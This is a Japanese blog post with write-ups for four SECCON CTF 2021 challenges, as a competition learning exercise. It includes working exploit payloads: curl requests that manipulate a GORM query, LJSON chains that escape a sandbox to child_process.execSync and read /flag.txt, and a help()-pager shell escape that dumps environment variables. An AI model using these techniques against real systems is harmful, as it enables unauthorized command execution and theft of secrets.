st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2021 writeup

12/11 - 12/12という日程で開催された。keymoonさんとチーム(o^_o)として参加し、全体10位、国内1位だった。U-25チームとして出ていたので賞金として10万円がもらえるらしく嬉しい(o^_o)

他のメンバー(keymoonさんしかいないけど…)が書いたwrite-up:


[Reversing 130] corrupted flag (55 solves)

It looks like some bits of the flag are corrupted.

ということでフラグが変換されたらしき flag.txt.enc というファイルと、その変換を行う corrupt というELFファイルが与えられる。適当な内容のファイルで何度か試してみると、実行するごとに変換後のファイルの一部がランダムに変わっていることがわかる。

keymoonさんがどのように変換されているか解析しPythonコードに直していた。が、何も考えずに1バイトずつブルートフォースし、変換後のファイルと問題に添付されていた flag.txt.enc とを1ビットずつ比較したときにもっとも一致していたものを採用していくと、フラグのほとんどの部分がわかった。それでも何度か出力は変わるが、何度か試したら通った。ptr-yudaiさんごめんなさい。

import os

def test(s):
  with open('flag.txt', 'w') as f:
    f.write(s)
  os.system('./corrupt')
  with open('flag.txt.enc', 'rb') as f:
    s = f.read()
  return s

def to_bin(s):
  return ''.join(bin(x)[2:].zfill(8) for x in s)

def compare(a, b):
  a, b = to_bin(a), to_bin(b)
  return sum(x == y for x, y in zip(a, b))

# orig.encは問題に添付されていたflag.txt.enc
with open('orig.enc', 'rb') as f:
  orig = f.read()

known = ''

for i in range(72):
  mc, ms = '', 0
  #for c in range(0x20, 0x7f):
  for c in b'0123456789abcdefSECCON{}':
    s = 0
    for _ in range(100):
      s += compare(test(known + chr(c)), orig)
    if s > ms:
      mc, ms = chr(c), s
  known += mc
  print(known)
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

[Web 103] Vulnerabilities (94 solves)

How many vulnerabilities do you know?

以下のようなGoのソースコードが与えられている。DBにある &Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag} というレコードを取得できればよさそうだが、SQLiができそうな箇所は見当たらない。

package main

import (
    "log"
    "os"

    "github.com/gin-contrib/static"
    "github.com/gin-gonic/gin"
    "github.com/gin-gonic/gin/binding"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

func main() {
    gin.SetMode(gin.ReleaseMode)

    flag := os.Getenv("FLAG")
    if flag == "" {
        flag = "SECCON{dummy_flag}"
    }

    db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
    if err != nil {
        log.Fatal("failed to connect database")
    }

    db.AutoMigrate(&Vulnerability{})
    db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
    db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
    db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
    db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
    db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
    db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
    db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
    db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
    db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
    db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})

    r := gin.Default()

    // Return a list of vulnerability names
    // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
    r.GET("/api/vulnerabilities", func(c *gin.Context) {
        var vulns []Vulnerability
        if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
            c.JSON(400, gin.H{"Error": "DB error"})
            return
        }
        var names []string
        for _, vuln := range vulns {
            names = append(names, vuln.Name)
        }
        c.JSON(200, gin.H{"Vulnerabilities": names})
    })

    // Return details of the vulnerability
    // {"Logo": "???.png", "URL": "https://..."}
    r.POST("/api/vulnerability", func(c *gin.Context) {
        // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

    r.Use(static.Serve("/", static.LocalFile("static", false)))

    if err := r.Run(":8080"); err != nil {
        log.Fatal(err)
    }
}

GORMのドキュメントを見ていると、/api/vulnerability で使われている db.Where(&query) は、フィールドの値が 0, '', false のようなゼロ値である場合にはそのフィールドがクエリの絞り込みに使われないということがわかった。つまり、Name, Logo, URL のいずれもゼロ値として扱われる値を含むようにすれば SELECT * FROM vulnerabilities のように検索条件が取っ払われるはずだ。

しかしながら、ソースコードをよく見ると事前にJSONに含まれている Name というプロパティの値が '' でも nil でもないことがチェックされていることがわかる。そんな…。

       // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

この後で json が再利用されることはなく、なぜか query という新しい変数が使われている。どういうことだろう。

       // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

Name には hoge のようなゼロ値でない適当な文字列を入れておいて、別に name という空文字列の入っているプロパティをJSONに生やせばどうなるのだろうと思い試してみる。すると最初のレコードであるHeartbleedの情報が返ってきた。どうやら query.Name に空文字列を入れることができたらしい。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":""}'
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}

しかしフラグの含まれているレコードを取得できなければ意味がない。Logo, URL のいずれのフィールドにもフラグが含まれており、これらを使って目的のレコードに絞り込むことはできない。ほかにフィールドがないか再びGORMのドキュメントやソースコードを確認してみると、Vulnerability という構造体に埋め込まれている gorm.Model には、以下のように ID などのフィールドが含まれていることがわかった。

type Model struct {
    ID        uint           `gorm:"primaryKey"`
    CreatedAt time.Time
    UpdatedAt time.Time
    DeletedAt gorm.DeletedAt `gorm:"index"`
}

ID を14とするとフラグが得られた。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":"","ID":14}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}

[Web 205] Sequence as a Service 1 (20 solves)

I've heard that SaaS is very popular these days. So, I developed it, too. You can access it here.

好きな数列のn番目の値を求めてくれる便利サービス。ソースコードを読んでみると、以下のように /api/getValuesequence というGETパラメータとしてLJSONというフォーマットの文字列を与えると実行してくれることがわかる。

/api/getValue?sequence=%28a%2Cb%29%3D%3E%28a%28%22%2C%22%2Ca%28%22%2C%22%2Ca%28%22set%22%2Ca%28%22self%22%29%2C0%2C1%29%2Ca%28%22for%22%2C0%2Cb%2C%28c%29%3D%3E%28a%28%22set%22%2Ca%28%22self%22%29%2C0%2Ca%28%22*%22%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%2C2%29%29%29%29%29%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%29%29&n=4

LJSONはJSONでも関数が扱えるようにしたようなフォーマットであり、とはいえセキュリティを考慮してか限られた関数しか呼び出せず、また文法を確認しても((a)=>(a)).constructor.constructor のようにプロパティを辿るような機能はなさそう。ソースコードを読むと、この問題ではビルトインの関数として +, -, for などの安全そうなもののみが扱えるようになっていることがわかる。

// lib.js
const lib = {
  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),
  "for": (l, r, f) => {
    for (let i = l; i < r; i++) {
      f(i);
    }
  },
  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },
  "get": (map, i) => {
    return typeof i === "number" ? map[i] : null;
  },
  "self": () => lib,
};

module.exports = lib;
// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence = process.argv[2];
const n = parseInt(process.argv[3]);

console.log(LJSON.parseWithLib(lib, sequence)(n));

オブジェクトのプロパティにアクセスできる関数として get が与えられているが、残念ながら typeof i === "number" と添字が Number であるか確認されている。typeof 演算子をごまかして a("get",123,"constructor") のようなことができれば嬉しいが、おそらくできない。

オブジェクトのプロパティに値を代入できる関数として set が与えられている。こちらは指定したプロパティに指定した値を代入後、変更された後の値を返り値として返している。よく見ると、(map, i, value) => { map[i] = value; return map[i]; } と引数の value をそのまま返すのではなく、わざわざ map[i] を返している。普通ならこれらは同じ値だが、もし map[i] = value によって map[i] が書き換えられなければどうだろうか。つまり、non-writableなプロパティではどうなるだろうか。そのような場合では、set を引数が Number であるか確認しない get として扱えるはずだ。

以下のようなJavaScriptコードを使って、配列やら関数やら色々なオブジェクトのnon-writableなプロパティを探していると、Function.prototype.callerFunction.prototype.argumentsが見つかった。MDNでは非推奨とされているが、この問題で使われているNode.js 17.0.1ではまだ残っている。呼び出し元の関数や、あるいはそれらに渡された引数になにか有用なものがあれば setget を駆使してアクセスできるはずだ。

const target = Object.getPrototypeOf([]);
const descs = Object.getOwnPropertyDescriptors(target);
const nonWritableProps = Object.entries(descs).filter(([k, v]) => !v.writable);
console.log(nonWritableProps.map(([k, _]) => k));

(a,b)=>( a("set",a,"caller",123) ) で呼び出し元の関数をチェックし、(a,b)=>( a("set",a("set",a,"caller",123),"arguments",123) ) でその関数に与えられた引数をチェックし、次に呼び出し元の関数の呼び出し元の関数をチェックし…という作業を続けていくと、a.caller.caller.caller.argumentsrequire が含まれていることがわかった。

[Arguments] {
  '0': {},
  '1': [Function: require] {
    resolve: [Function: resolve] { paths: [Function: paths] },
    main: Module {
      id: '.',
      path: '/app',
      exports: {},
      filename: '/app/service.js',
      loaded: false,
      children: [Array],
      paths: [Array]
    },
    extensions: [Object: null prototype] {
      '.js': [Function (anonymous)],
      '.json': [Function (anonymous)],
      '.node': [Function (anonymous)]
    },
    cache: [Object: null prototype] {
      '/app/service.js': [Module],
      '/app/node_modules/ljson/LJSON.js': [Module],
      '/app/node_modules/ljson/parsenhora.js': [Module],
      '/app/lib.js': [Module]
    }
  },
  '2': Module {
    id: '.',
    path: '/app',
    exports: {},
    filename: '/app/service.js',
    loaded: false,
    children: [ [Module], [Module] ],
    paths: [ '/app/node_modules', '/node_modules' ]
  },
  '3': '/app/service.js',
  '4': '/app'
}

あとは require('child_process').execSync 相当のことをして終わりかと思いきや、残念ながらそれだけではない。モジュールの execSync プロパティにアクセスしようにも、前述のようにLJSON自身はプロパティへのアクセスをサポートしていないし、set でアクセスしようにも execSync はwritableなので書き換えてしまう。

少し悩んで、a("self")lib を取得した後に lib.__proto__ = require('child_process') 相当のことをすれば、a("execSync","ls",{"encoding":"utf-8"}) でOSコマンドを実行できるのではないかと考えた。ということで、以下のコードでフラグが得られた。

(a,b)=>( [ a("set",a("self"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")), a("execSync","cat /flag.txt",{"encoding":"utf-8"}) ] )
[
  {
    _forkChild: [Function: _forkChild],
    ChildProcess: [Function: ChildProcess],
    exec: [Function: exec],
    execFile: [Function: execFile],
    execFileSync: [Function: execFileSync],
    execSync: [Function: execSync],
    fork: [Function: fork],
    spawn: [Function: spawn],
    spawnSync: [Function: spawnSync]
  },
  'SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}\n'
]
SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}

[Web 210] Sequence as a Service 2 (19 solves)

NEW FEATURE: You can get values from two sequences at the same time! Go here.

ということで、SaaS 1に同時に2つの数列から値を取ってこれるようになったが、ついでに a("self") から lib にアクセスできないようになってしまった。

// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence0 = process.argv[2];
const n0 = parseInt(process.argv[3]);
const sequence1 = process.argv[4];
const n1 = parseInt(process.argv[5]);

console.log([
  LJSON.parseWithLib(lib, sequence0)({}, n0),
  LJSON.parseWithLib(lib, sequence1)({}, n1),
]);

それなら a("self") の代替として require("./lib.js"); を使って lib を取ってこればよい。以下のコードでフラグが得られた。

(a,b,c) => ( [ a("set",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("./lib.js"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")),a("execSync","cat /flag.txt",{"encoding":"utf-8"})]))
[
  1,
  [
    {
      _forkChild: [Function: _forkChild],
      ChildProcess: [Function: ChildProcess],
      exec: [Function: exec],
      execFile: [Function: execFile],
      execFileSync: [Function: execFileSync],
      execSync: [Function: execSync],
      fork: [Function: fork],
      spawn: [Function: spawn],
      spawnSync: [Function: spawnSync]
    },
    'SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}\n'
  ]
]
SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

[Misc 227] hitchhike (16 solves)

The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.

添付ファイルとしてサーバ側で動いているソースコードが与えられている。{x} * {v} の右辺に入力した8文字以内の文字列が、左辺に 6, 6.6, '666', [6666], {b'6':6666} がひとつずつ展開され eval される。そのすべてで評価した結果が42になるようにすればよいらしい。

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

最初の4つでは 0+42 を入力すればよいことをkeymoonさんが見つけていたが、5問目では左辺が dict であるために例外が発生してしまい通らない。1if 0else 42 のように条件式を使えば {b'6':6666}*1 の部分を評価させないようにできるのではと考えたが、それでも12文字だし弾かれてしまう。

しばらく考えて、これは真面目に取り組むような問題ではなくなんらかの方法で任意コード実行に持ち込むようなものなのではと思い始める。6文字以下のビルトイン関数でなにかいいものがないか探してみると、help が見つかった。helppydoc を使っているし、pydoc ではページャーを呼び出せる。lessmore を起動できれば、コマンドからOSコマンドを呼び出せるはず。

>>> [k for k in dir(__builtins__) if len(k) <= 6]
['False', 'None', 'True', '_', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytes', 'chr', 'dict', 'dir', 'divmod', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'hash', 'help', 'hex', 'id', 'input', 'int', 'iter', 'len', 'list', 'locals', 'map', 'max', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'quit', 'range', 'repr', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

help を呼び出し、タブキーを押してからエンターを押すとページャーが起動した。!printenv で環境変数からフラグが得られた。

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: help()

Welcome to Python 3.9's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.9/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> [Tab][Return]
...
--More--:!printenv
!printenv
HOSTNAME=57775d161be2
SOCAT_PEERADDR=…
HOME=/home/ctf
SOCAT_PEERPORT=…
SOCAT_SOCKADDR=172.21.0.2
LC_CTYPE=C.UTF-8
SOCAT_VERSION=1.7.3.3
SOCAT_SOCKPORT=10042
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DEBIAN_FRONTEND=noninteractive
PWD=/home/ctf
SOCAT_PID=7261
SOCAT_PPID=8
FLAG=SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}
------------------------
SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}